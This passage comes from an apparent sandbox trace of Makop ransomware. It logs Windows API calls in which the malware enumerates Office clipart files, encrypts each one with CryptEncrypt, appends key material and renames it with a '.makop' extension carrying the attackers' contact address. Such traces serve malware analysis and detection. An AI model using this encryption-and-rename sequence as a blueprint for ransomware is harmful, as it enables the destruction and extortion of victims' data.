Office\\CLIPART\\PUB60COR\\J0152430.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.708] CloseHandle (hObject=0xf0) returned 1 [0124.708] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1 [0124.708] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0124.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.709] GetProcessHeap () returned 0x48a0000 [0124.709] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.709] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.709] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.713] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.713] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.713] GetProcessHeap () returned 0x48a0000 [0124.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.713] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.713] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.714] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.715] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.715] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x406c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x406c, lpOverlapped=0x0) returned 1 [0124.716] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4070, dwBufLen=0x4070 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4070) returned 1 [0124.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.717] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4070, lpOverlapped=0x0) returned 1 [0124.717] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.717] SetEndOfFile (hFile=0xf0) returned 1 [0124.724] GetProcessHeap () returned 0x48a0000 [0124.724] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.724] GetProcessHeap () returned 0x48a0000 [0124.724] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.724] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.725] CloseHandle (hObject=0xf0) returned 1 [0124.726] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1 [0124.726] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0124.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.726] GetProcessHeap () returned 0x48a0000 [0124.726] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.726] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.727] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.731] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.731] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.731] GetProcessHeap () returned 0x48a0000 [0124.731] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.731] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.731] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.731] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.731] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.731] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.732] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.732] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.732] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.732] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2c4c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2c4c, lpOverlapped=0x0) returned 1 [0124.734] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c50, dwBufLen=0x2c50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c50) returned 1 [0124.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.734] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2c50, lpOverlapped=0x0) returned 1 [0124.735] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.735] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.735] SetEndOfFile (hFile=0xf0) returned 1 [0124.742] GetProcessHeap () returned 0x48a0000 [0124.742] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.742] GetProcessHeap () returned 0x48a0000 [0124.742] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.742] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.744] CloseHandle (hObject=0xf0) returned 1 [0124.744] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1 [0124.744] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0124.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.744] GetProcessHeap () returned 0x48a0000 [0124.745] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.745] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.745] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.745] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.745] GetProcessHeap () returned 0x48a0000 [0124.745] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.745] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.745] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.745] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.750] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.751] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.751] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4030, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4030, lpOverlapped=0x0) returned 1 [0124.752] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4030, dwBufLen=0x4030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4030) returned 1 [0124.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.753] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4030, lpOverlapped=0x0) returned 1 [0124.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.753] SetEndOfFile (hFile=0xf0) returned 1 [0124.763] GetProcessHeap () returned 0x48a0000 [0124.763] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.763] GetProcessHeap () returned 0x48a0000 [0124.763] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.763] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.765] CloseHandle (hObject=0xf0) returned 1 [0124.765] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1 [0124.766] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0124.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.766] GetProcessHeap () returned 0x48a0000 [0124.767] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.767] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.774] GetProcessHeap () returned 0x48a0000 [0124.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.774] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.774] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.774] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.775] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.775] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.775] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.775] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.775] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3eb4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3eb4, lpOverlapped=0x0) returned 1 [0124.777] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ec0, dwBufLen=0x3ec0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ec0) returned 1 [0124.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.777] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ec0, lpOverlapped=0x0) returned 1 [0124.778] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.778] SetEndOfFile (hFile=0xf0) returned 1 [0124.785] GetProcessHeap () returned 0x48a0000 [0124.785] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.785] GetProcessHeap () returned 0x48a0000 [0124.785] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.785] wsprintfW (in: 